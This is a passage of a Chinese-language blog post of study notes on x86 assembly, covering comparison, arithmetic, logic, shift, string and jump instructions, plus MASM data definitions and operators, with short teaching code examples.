style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">7</span></span></span></span></span></span></span></span></span></span></span> 或者 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">15</span></span></span></span></span></span></span></span></span></span></span></span> 或者 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">31</span></span></span></span></span></span></span></span></span></span></span></span> 时，结果时操作数本身，OF 为 1。其他情况 OF 为 0.</li></ul><p><code>CMP OPRD1，OPRD2</code> 指令<strong>不更改操作数，只按照 <code>OPRD1-OPRD2</code> 影响所有标志位</strong>，它的作用是根据标志位判断大小关系。但是它的操作数和 ADD 指令一样，<strong>OPRD1 必须是可以写入的，而且两个操作数不能全来自内存</strong>。具体来说</p><p>对于无符号数 <code>CMP AX BX</code>，用 CF、ZF 判断：</p><ul><li><p>若 AX &gt; BX，则 CF=0, ZF=0</p></li><li><p>若 AX &lt; BX，则 CF=1, ZF=0</p></li><li><p>若 AX = BX，则 ZF=1</p></li></ul><p>对于有符号数，用 SF、OF、ZF 判断：</p><ul><li>若 AX &gt; BX，则 OF=SF,ZF=0</li><li>若 AX &lt; BX，则 OF≠SF,ZF=0</li><li>若 AX=BX，则 ZF=1</li></ul><p>一般的用法，比如在后面接跳转指令。<strong>JG</strong>(Jump if Greater) 指令表示有符号数“大于”跳转，当 OF=SF,ZF=0 时，跳转。<strong>JA</strong>(Jump if Above) 指令表示“大于（无符号数）”跳转，当 CF=0, ZF=0 时，跳转。</p><p>例题：在 20 个从 BUF 开始的无符号数中，找出最大的数，并将其存放在 MAX 单元中。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">    LEA EBX MAX</span><br><span class="line">    LEA ESI BUF</span><br><span class="line">    MOV CL, 19</span><br><span class="line">    MOV EAX, [ESI]</span><br><span class="line">NEXT:</span><br><span class="line">INC ESI</span><br><span class="line">CMP EAX, [ESI]</span><br><span class="line">    JB ASSIGN;如果EAX的数比较小</span><br><span class="line">CONTINUE:</span><br><span class="line">DEC CL</span><br><span class="line">    JNZ NEXT;继续循环</span><br><span class="line">    MOV [EBX], EAX；循环结束</span><br><span class="line">    HLT</span><br><span class="line"></span><br><span class="line">ASSIGN:</span><br><span class="line">MOV EAX, [ESI]</span><br><span class="line">INC ESI</span><br><span class="line">JMP CONTINUE</span><br></pre></td></tr></table></figure><h4 id="乘法指令">乘法指令</h4><p><code>MUL OPRD</code> 是无符号乘法，其中操作数只能来自寄存器或者内存。表达的意思是，将 <code>OPRD</code> 乘以</p><ul><li>AL，存入 AX</li><li>AX，存入 DX:AX</li><li>EAX，存入 EDX:EAX</li></ul><p>也就是说，运算结果是操作数的两倍，隐藏的操作数由 <code>OPRD</code> 决定。<strong>标志位的影响也比较特殊，只关注 CF 和 OF 标志</strong>，如果隐藏的操作数存不下，需要 AH 或 DX 或者 EDX 存储结果时，CF=1,OF=1。否则 CF=0,ZF=0。</p><p><code>IMUL OPRD</code> 的用法完全一样，只是把操作数当作有符号整数。但是由于带符号数都会进行符号扩展，所以判断有些复杂。</p><p><strong>增加判断的例题！！！！！！</strong></p><p>32 位下，<code>IMUL</code> 指令增加了操作数的形式。</p><ul><li><code>IMUL DEST, SRC </code> 表示 <code>DEST&lt;=(DEST)×(SRC)</code></li><li><code> IMUL DEST, SRC1, SRC2</code> 表示 <code>DEST&lt;=(SRC1) ×(SRC2) </code>。</li></ul><h4 id="除法指令">除法指令</h4><p>除法指令中只给出除数，而被除数和商、余数都为隐含。存储的位置和乘法是对应的。因为被除数长度必须是除数长度的两倍，因此常常需要和扩展指令 <code>CBW</code> <code>CWD</code> <code>CDQ</code> 配合使用。</p><table><thead><tr><th><strong>被除数</strong></th><th><strong>除数</strong></th><th><strong>商</strong></th><th><strong>余数</strong></th></tr></thead><tbody><tr><td>AX</td><td>reg8/mem8</td><td>AL</td><td>AH</td></tr><tr><td>DX:AX</td><td>reg16/mem16</td><td>AX</td><td>DX</td></tr><tr><td>EDX:EAX</td><td>reg32/mem32</td><td>EAX</td><td>EDX</td></tr></tbody></table><p>拓展指令是<strong>零操作数指令，隐含的地址为 AX, DX,EAX,EDX</strong>。</p><p>CBW(Convert Byte to Word) 表示字节拓展到字，也就是说</p><ul><li>若 AL 最高位=1，则执行后 AH=FFH</li><li>若 AL 最高位=0，则执行后 AH=00H</li></ul><p>CWD(Convert Word to Doubleword) 也是完全类似的：</p><ul><li>若 AX 最高位=1，则执行后 DX=FFFFH</li><li>若 AX 最高位=0，则执行后 DX=0000H</li></ul><p>CDQ(Convert Doubleword to Quadword) 表示双字拓展成四字，只是从 DX 变成了 EDX。</p><h4 id="BCD-码调整指令">BCD 码调整指令</h4><p>BCD 码调整指令是一组用于将二进制码转换为二进制编码十进制（BCD）码的指令。BCD 码是一种用于表示十进制数的二进制编码形式，使用四位二进制数表示一位十进制数。</p><p>BCD 码分为压缩型和非压缩型，压缩型一个字节表示 2 个 BCD 码，比如 0010 0011 表示十进制的 23。</p><img src="http://cdn.blog-blockchain.xyz/202304261102698.png" alt="image-20230426110208453" style="zoom:67%;" /><p>非压缩型只看一个字节的低四位表示的 BCD 码，忽略高 4 位，常为 0000 或 0011。比如 0000 1001 与 0011 1001 都是十进制数 9 的非压缩型 BCD 码</p><img src="http://cdn.blog-blockchain.xyz/202304261103594.png" alt="image-20230426110350424" style="zoom:67%;" /><p>BCD 码的运算过程可以将转化成二进制运算，然后再把二进制的结果转化成 BCD 码。但是这样效率比较低，8086 使用的是直接使用 BCD 码参与二进制运算，然后用指令将结果校正成 BCD 码。</p><p>这里我们了解一下即可，记住指令和全称表达的意思。</p><ol><li>DAA（Decimal Adjust AL after Addition）：用于在将两个<strong>十进制数</strong>相加后，调整 AL 中存储的 BCD 码结果。</li><li>AAA（ASCII Adjust AL after Addition）：用于在将两个<strong>ASCII 码数</strong>相加后，调整 AL 中存储的二进制码结果。</li><li>DAS（Decimal Adjust AL after Subtraction）：用于在将两个十进制数相减后，调整 AL 中存储的 BCD 码结果。</li><li>AAS（ASCII Adjust AL after Subtraction）：用于在将两个 ASCII 码数相减后，调整 AL 中存储的二进制码结果。</li><li>AAM（ASCII Adjust AX after Multiply）：用于在将两个 ASCII 码数相乘后，调整 AX 中存储的二进制码结果，将其转换为两个十进制数的积。</li><li>AAD（ASCII Adjust AX before Division）：用于在将两个 ASCII 码数相除前，将 AX 中存储的二进制码结果转换为两个十进制数的商和余数。</li></ol><h3 id="逻辑运算">逻辑运算</h3><p><code>NOT</code> 指令<strong>不会影响标志位</strong>，但是其他逻辑运算指令都会使<strong>OF=CF=0</strong>，SF ZF PF 根据结果确定。<code>AND</code> <code>OR</code> <code>XOR</code> 都是逻辑指令，<code>TEST</code> 则特殊，只是修改标志位不实际写入目标位置。</p><p>例如：从地址为 3F8H 端口中读入一个字节数，如果该数 bit1 位为 1，则将 DATA 为首地址的一个字输出到 38FH 端口，否则就不能进行数据传送。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">LEA ESI, DATA</span><br><span class="line">MOV DX, 3F8H</span><br><span class="line">WAIT:</span><br><span class="line">IN AL, DX</span><br><span class="line">AND AL, 02H</span><br><span class="line">JZ WAIT</span><br><span class="line"></span><br><span class="line">MOV DX, 38FH</span><br><span class="line">MOV AX, [ESI]</span><br><span class="line">OUT DX, AX</span><br></pre></td></tr></table></figure><p>例如：将一个 8 位二进制数 9 变为字符‘9’（57=39H=0011 1001B），9=1001H，所以 <code>OR  AL '9'</code> 这样就可以实现。</p><p>例如：从地址为 3F8H 的端口中读入一个字节数，当该数的 bit1， bit3， bit5 位同时为 1 时，则从 38FH 端口将 DATA 为首地址的一个字输出，否则就从端口重新输入。</p><p>分析可以知道，AND 0010 1010B，如果结果是这个数，那么就符合要求。这就要使用到减法指令中的 <code>CMP</code>，对应的有符号数大于用 <code>JG</code>，无符号数 <code>JA</code>，相等都是 <code>JZ</code>。另外一种办法是，AND 之后看结果是否 3 个 1 都有，可以用 <code>XOR</code> 实现。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">LEA ESI, DATA</span><br><span class="line">MOV DX, 38FH</span><br><span class="line">WAIT:</span><br><span class="line">IN AL, DX</span><br><span class="line">CMP AL, 2AH</span><br><span class="line">JZ WAIT</span><br><span class="line"></span><br><span class="line">MOV DX, 38FH</span><br><span class="line">MOV AX, [ESI]</span><br><span class="line">OUT DX, AX</span><br></pre></td></tr></table></figure><h3 id="移位指令">移位指令</h3><p>移位的标志位一般只考虑 CF，<strong>CF 标志是这次操作移出的那一位</strong></p><p>移位指令的次数，<strong>只能由 CL 或者 8 位立即数指定</strong>。<code>SAL  OPRD，CL/imm8</code> (Shift Arithmetic Left)一般用于带符号数，右边补 0，注意<strong>左移在小端序中实际是向高地址方向移动，在大端序中是向低地址移动</strong>。<code>SHL</code>(Shift Logical Left)实际上也是相同的。</p><p>对应的，右移也分为 <code>SAR</code> 和 <code>SHR</code>，分别用于带符号数和无符号数。</p><p>也有循环移位指令，对标志位修改和其他移位指令一样，但是 <code>ROL</code>（Rotate Left） <code>ROR</code>（Rotate Right） 指令是不带进位的循环移位，相当于操作数转圈。<code>RCL</code> <code>RCR</code> 则是把 CF 也作为数字的一部分，开始移位。比如 <code>0100 1101</code> ,初始 CF=1</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">如果是ROR:</span><br><span class="line">ROR：`0010 0110` CF=1</span><br><span class="line">ROR: `0001 0011`，CF=0</span><br><span class="line">如果是RCR:</span><br><span class="line">ROR：`1010 0110` CF=1</span><br><span class="line">ROR: `1101 0011`，CF=0</span><br></pre></td></tr></table></figure><h3 id="串操作指令">串操作指令</h3><p>串操作实际上就是循环处理，但是自动修改 ESI 和(或)EDI，使其指向下一个单元。注意，DF=0 则地址增加，DF=1 则地址减小。循环计数的寄存器 ECX 也会对应减少。这样的操作，会通过「重复前缀」实现，前缀的意思就是它放在其他指令的前面，修饰这条指令，在满足条件下重复指令。<strong>重复前缀修改 ECX 不修改标志位</strong>。</p><ul><li>REP: ECX 不为 0 就重复。</li><li>REPE 和 REPZ：则是增加了条件 ZF=1，才重复。分别用于判断字符串相等和字符串为 0.</li></ul><p><strong>MOVS 这类指令可以使用 MOVSB、MOVSW、MOVSD，这样指定长度就不需要操作数，默认了操作数来源。同理，CMPS、SCAS 也是这样</strong></p><p>例子：用 MOVS 指令实现将 200 个字节数据从 MEM1 开始的一个内存区送到另一个从 MEM2 开始的区域的程序段</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">LEA  ESI，MEM1</span><br><span class="line">LEA  EDI，MEM2</span><br><span class="line">MOV  ECX，200</span><br><span class="line">CLD</span><br><span class="line">REP  MOVSB</span><br><span class="line">HLT</span><br></pre></td></tr></table></figure><p>例子：比较两组(200 个字节)对应数据，找出第一个不同数据放入 AL，其地址放入 EBX。<code>CMPS</code> 相当于 字符串相减<code>src - dst</code>，影响标志位。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">LEA  ESI，MEM1</span><br><span class="line">LEA  EDI，MEM2</span><br><span class="line">MOV  ECX，200</span><br><span class="line">CLD</span><br><span class="line">REPE CMPSB ;在ECX不为零且[ESI]等于[EDI]的情况下，重复执行以下操作：比较[ESI]和[EDI]指向的字节，递增ESI和EDI，递减ECX。</span><br><span class="line">JZ  STOP</span><br><span class="line">DEC  ESI</span><br><span class="line">MOV  AL，[ESI]</span><br><span class="line">MOV  EBX，ESI</span><br><span class="line">STOP：HLT</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>例子：<code>SCAS</code>（Scan String Byte） 则是根据长度和 AL/AX/EAX - [EDI]，32 位下时双字。只影响标志位。在内存块中搜索特定的字节值（在本例中为 0x42）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">; 初始化寄存器</span><br><span class="line">MOV EDI, OFFSET MemoryBlock ; 设置EDI指向内存块的起始位置</span><br><span class="line">MOV ECX, 1000               ; 设置要搜索的字节数（1000字节）</span><br><span class="line">MOV AL, 0x42                ; 设置要查找的值（0x42）</span><br><span class="line">CLD                         ; 清除DF标志，使EDI递增</span><br><span class="line"></span><br><span class="line">; 使用REPNE和SCASB指令进行搜索</span><br><span class="line">REPNE SCASB</span><br><span class="line"></span><br><span class="line">; 检查搜索结果</span><br><span class="line">JNE NotFound                ; 如果ZF=0，表示没有找到目标值，跳转到NotFound标签</span><br><span class="line">DEC EDI                      ; 如果找到目标值，将EDI减1以获取正确的内存地址</span><br><span class="line"></span><br><span class="line">; 在此处处理找到的值，EDI指向找到的值的内存地址</span><br><span class="line">; ...</span><br><span class="line"></span><br><span class="line">NotFound:</span><br><span class="line">; 在此处处理未找到目标值的情况</span><br><span class="line">; ...</span><br><span class="line"></span><br><span class="line">MemoryBlock:</span><br><span class="line">DB 0x11, 0x22, 0x33, 0x42, 0x55, 0x66, 0x77, 0x88, 0x99 ; 内存块数据</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>LODS</code>（Load String）指令从[ESI]加载字符串到 AL、AX、EAX，显然<strong>LODS 指令加重复前缀无意义。</strong></p><p><code>STOS</code>（Store String）则是相反的，从 AL、AX、EAX 加载字符串到[EDI]。</p><p>例如：将累加器中的值（假设为<code>AL</code>）存储到目标地址为<code>destination</code>的字符串中，共存储<code>length</code>次：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">MOV ECX, length     ; 设置要存储的次数</span><br><span class="line">MOV EDI, destination ; 设置目标字符串的起始地址</span><br><span class="line">MOV AL, value       ; 设置要存储的值</span><br><span class="line">CLD                 ; 清除方向标志，使 DI 递增</span><br><span class="line">REP STOSB           ; 重复执行 STOSB，直到存储了 length 个值</span><br></pre></td></tr></table></figure><h3 id="程序控制指令">程序控制指令</h3><p>转移指令主要由下面几种：</p><ul><li>JMP OPRD：它是无条件转移，从下一条指令开始计算偏移量。实际使用可以 <code>JMP Label</code> 即可。但是如果是 <code>JMP EBX</code> 这样 32 位的数据，就是直接跳转到 EBX 的位置。</li></ul><p>标志位：</p><ul><li>JC：CF 为 0 跳转。</li><li>JZ：ZF 为 0 跳转。</li><li>JO：OF</li><li>JP：PF</li></ul><p>比较类：</p><ul><li>JA、JB、JAE、JBE：是无符号数，接在 CMP 后面。</li><li>JG、JL：是有符号数，也是 CMP 后面。</li></ul><p>CX/ECX：</p><ul><li>JCXZ、JECXZ：根据 CX、ECX 跳转。</li></ul><p>例题：统计内存数据段中以 TABLE 为首地址的 100 个 8 位有符号数中正数、负数和零的个数。LOOP 是自动 ECX-1 得控制流指令，ECX=0 是退出。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">.DATA</span><br><span class="line">TABLE   DB   100 DUP (?) ; 100个8位有符号数（您需要手动设置这些数值）</span><br><span class="line">posCount    DD   0 ; 正数计数器</span><br><span class="line">negCount    DD   0 ; 负数计数器</span><br><span class="line">zeroCount   DD   0 ; 零计数器</span><br><span class="line"></span><br><span class="line">.CODE</span><br><span class="line">main PROC</span><br><span class="line">    ; 设置计数器</span><br><span class="line">    MOV ECX, 100</span><br><span class="line"></span><br><span class="line">    ; 设置源字符串的起始地址</span><br><span class="line">    LEA ESI, TABLE</span><br><span class="line"></span><br><span class="line">    ; 清除方向标志，使 ESI 递增</span><br><span class="line">    CLD</span><br><span class="line"></span><br><span class="line">CountLoop:</span><br><span class="line">    ; 加载下一个字节</span><br><span class="line">    LODSB</span><br><span class="line"></span><br><span class="line">    ; 检查零</span><br><span class="line">    OR AL, AL</span><br><span class="line">    JZ ZeroFound</span><br><span class="line"></span><br><span class="line">    ; 检查正数</span><br><span class="line">    JS NegativeFound</span><br><span class="line">    ; 如果是正数</span><br><span class="line">    ADD DWORD PTR posCount, 1</span><br><span class="line">    JMP ContinueLoop</span><br><span class="line"></span><br><span class="line">NegativeFound:</span><br><span class="line">    ; 如果是负数</span><br><span class="line">    ADD DWORD PTR negCount, 1</span><br><span class="line">    JMP ContinueLoop</span><br><span class="line"></span><br><span class="line">ZeroFound:</span><br><span class="line">    ; 如果是零</span><br><span class="line">    ADD DWORD PTR zeroCount, 1</span><br><span class="line"></span><br><span class="line">ContinueLoop:</span><br><span class="line">    ; 继续循环</span><br><span class="line">    LOOP CountLoop</span><br><span class="line"></span><br><span class="line">    ; ... 其他代码 ...</span><br><span class="line">    ; 程序结束</span><br><span class="line">    ret</span><br><span class="line">main ENDP</span><br><span class="line">END main</span><br></pre></td></tr></table></figure><h3 id="过程调用">过程调用</h3><p>flat 模式下过程调用是 EIP 压栈，然后入口送入 EIP 中。子过程执行之后 RET 返回原程序</p><h2 id="汇编程序基础">汇编程序基础</h2><p>在汇编中，指令的基本格式如下，标号就之前 <code>NEXT</code> 这样的东西，用来表示这个语句的位置，注意不要和保留字冲突。指令助记符就是指令名字，操作数表示可以多次出现，注释也可以多次出现。</p><img src="http://cdn.blog-blockchain.xyz/202305102346732.png" alt="image-20230510234620668" style="zoom:50%;" /><p>除了之前学过的指令还有伪指令，它们不是 CPU 可以直接执行的指令，而是为了方便编写程序的一些指令，编译器或者汇编器会进行处理，按照伪指令的逻辑，生成代码。一些常见的伪指令示例包括：</p><ul><li><code>DB</code>：定义一个或多个字节的数据。</li><li><code>DW</code>：定义一个或多个字的数据。</li><li><code>DD</code>：定义一个或多个双字的数据。</li><li><code>EQU</code>：为一个值或地址分配一个符号名称。</li><li><code>END</code>：标记程序的结束。</li></ul><p>还有多行注释，<code>@</code> 是自定义符号，注释中不能出现，否则会造成矛盾。：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">COMMENT @</span><br><span class="line">这是多行注释。</span><br><span class="line">@</span><br></pre></td></tr></table></figure><h3 id="数据定义">数据定义</h3><p>汇编中的字面常量，数字一般是十进制，<code>1101B</code> <code>aef4H</code> 这些根据后缀指定二进制或者十六进制。字符串是用单引号和双引号都可以，字符用单引号，都是 ASCII 码表示。</p><p>变量会定义数据的类型，主要是指变量的长度。一般用缩写即可，都是 <code>Define Byte/Word/Doubleword</code>，对应<code>DB/DW/DD</code>。变量一般会放在数据区，比如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">.DATA</span><br><span class="line">DATA1    BYTE   12H</span><br><span class="line">DATA2    DB      20H,30H</span><br><span class="line">DATA3    WORD    5678H</span><br><span class="line">DATA4  DB ?,?,?</span><br><span class="line">DATA5DB &quot;abcdse&quot;</span><br></pre></td></tr></table></figure><img src="http://cdn.blog-blockchain.xyz/202305110026190.png" alt="Untitled" style="zoom: 60%;" /><p>变量名表示在数据区（段）内的偏移量，比如 <code>DATA1</code> 表示 0。一个变量也可以表示一个数组，比如 <code>20H,30H</code> 用逗号分隔，表示两个字节元素的数组。如果是 <code>?</code> 表示不初始化。字符串会自动解析成对应类型。</p><p>关于字符串的字面常量，需要注意除了 byte 类型，元素长度必须不大于类型长度，而且内存布局是小端序。如果元素比较短，那么高位自动填充 0。比如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">DATA1DB &quot;abcdse&quot;</span><br><span class="line">; &#x27;a&#x27; &#x27;b&#x27; &#x27;c&#x27; &#x27;d&#x27; &#x27;s&#x27; &#x27;e&#x27;</span><br><span class="line">DARA2 DW &quot;abcds&quot;;报错，元素长度不匹配。</span><br><span class="line">DARA3 DW &quot;abc&quot;,&quot;ds&quot;;报错，&quot;abc&quot;超过了一个字。</span><br><span class="line">DARA3 DW &quot;ab&quot;,&quot;cd&quot;,&quot;s&quot;</span><br><span class="line">;&#x27;b&#x27; &#x27;a&#x27; &#x27;d&#x27; &#x27;c&#x27; &#x27;e&#x27; s &#x27;0&#x27;</span><br><span class="line">DARA3 DD &quot;abcd&quot;</span><br><span class="line">;&#x27;d&#x27; &#x27;c&#x27; &#x27;b&#x27; &#x27;a&#x27;</span><br></pre></td></tr></table></figure><p>为了方便创建数组，甚至复杂的数据，提出了 <code>DUP</code> 伪指令，注意<code>重复次数+DUP(元素字面量)</code> 是一组的。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">;基本语法：变量名+类型+重复次数+DUP(需要重复的元素的字面量)</span><br><span class="line">DATA1  DB   10H  DUP(?);重复了10H个未初始化的字节。</span><br><span class="line">DATA_B  DB   20H  DUP(‘AB’);重复20H个 &quot;AB&quot;</span><br><span class="line"></span><br><span class="line">;4 DUP(2)表示 2,2,2,2然后一起组成 10H DUP(2,2,2,2,7),</span><br><span class="line">DATA_C   DB   10H  DUP(4  DUP(2),7)</span><br></pre></td></tr></table></figure><p>局部变量在子程序中定义，默认 <code>dword</code> 类型，基本语法<code>local 变量名[元素个数] :类型</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Local var1[1024]:byte ;定义了一个1024字节长的局部变量lvar1</span><br><span class="line">Local var3,var4:byte ;定义了dword型局部变量var3,byte型局部变量var4</span><br></pre></td></tr></table></figure><p>使用变量时，变量表示地址，但是直接引用变量，是提取地址里面的内容。变量也可以相对寻址，写入特定的位置，比如 <code>MOV  DA3[ESI]，AL</code>。特别是在 <code>MOV</code> 指令中，赋值长度一般由寄存器决定。</p><h3 id="标号和符号定义">标号和符号定义</h3><p>给语句的标号，实际上有一些属性。当使用 <code>::</code> 而不是 <code>:</code> 时表示全局标号。而且放在指令前面是，是 <code>NEAR</code> 类型标号，只能段内转移，段外要调用，要用 <code>标号名字 NEAR FAR</code>，而且不用冒号，下一条指令换行写。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SUB1_FAR    LABEL    FAR</span><br><span class="line">SUB1:  MOV  AX,30H</span><br></pre></td></tr></table></figure><p>而且标号可以设置别名，改变变量属性。使用 <code>DATA_BYTE</code> 就可以把下面的 <code>DATA_WORD</code> 变量当作 byte 类型用了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">DATA_BYTE   LABEL  BYTE</span><br><span class="line">DATA_WORD  DW  20H  DUP(?)</span><br></pre></td></tr></table></figure><p><code>EQU</code> 伪指令相当于宏定义，编译时直接替换，所以指代必须唯一。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">COUNT  EQU  5</span><br><span class="line">STR1 EQU “ABCD”</span><br><span class="line">CBD     EQU  DAA; 指令别名</span><br><span class="line">CREG  EQU  CX;CREG等价与CX</span><br><span class="line">NUM    EQU  COUNT+5</span><br><span class="line">ADR1  EQU  DS:[EBP+14];在DS数据段中以BP作基址寻址的一个存储单元。</span><br></pre></td></tr></table></figure><p><code>=</code> 类似 EQU，但是只能是一些字面量的别名。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CONT=5</span><br><span class="line">NUM=14H</span><br><span class="line">NUM=NUM+10H</span><br></pre></td></tr></table></figure><h3 id="表达式和变量修饰符">表达式和变量修饰符</h3><p><code>+、—、＊、 / 、MOD、SHL、SHR、[ ]</code> 这些表达式时汇编器自己定义的，也会由汇编器编译成字节码，用于方便编程程序。需要注意，<code>SHR</code> <code>SHL</code> 是中缀运算符，用于表示<strong>常量移位</strong>临时的计算结果，结果相当于立即数。<code>[]</code>则是表示相加，<code>MOV AX，DA_WORD[20H]</code> 相当于 <code>MOV AX，DA_WORD+20H</code>，但是方括号外的加法是不允许的，比如 <code>ARRAY+EBX[ESI]</code>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">NUM=11011011B</span><br><span class="line">MOV   AX , NUM SHL  1</span><br><span class="line">MOV   BX ,  NUM SHR 2</span><br><span class="line">ADD   DX ,  NUM SHR 6</span><br></pre></td></tr></table></figure><p><code>NOT、AND、OR、XOR</code> 这些逻辑运算符，除了 <code>NOT</code> 是前缀，其他都是中缀，也是用于常量，返回立即数。</p><p><code>EQ（等于）、NE（不等于）、LT（小于）、 LE（小于等于）、GT（大于）、 GE（大于等于）</code> 这些关系运算符都是中缀，返回值要么全 1 表示真，要么全 0 表示假。</p><p>还有一些提取变量信息的运算符，也是相当于返回立即数。</p><ul><li><code>SEG</code> 是<strong>16 位</strong>下使用的返回变量段标号的，我们基本不会用到。</li><li><code>OFFSET</code> 则常用很多，提取变量的地址。<strong>OFFSET 无法获取寄存器值，所以 OFFSET ADDR[ESI]是错误的</strong>。</li><li><code>TYPE</code> 会返回变量的类型的长度。</li><li><code>LENGTH</code> 专门用于提取 <code>DUP</code> 的重复次数，是最外层的第一个 DUP。如果第一个元素不是 DUP，那么为 1.</li><li><code>LENGTHOF</code> 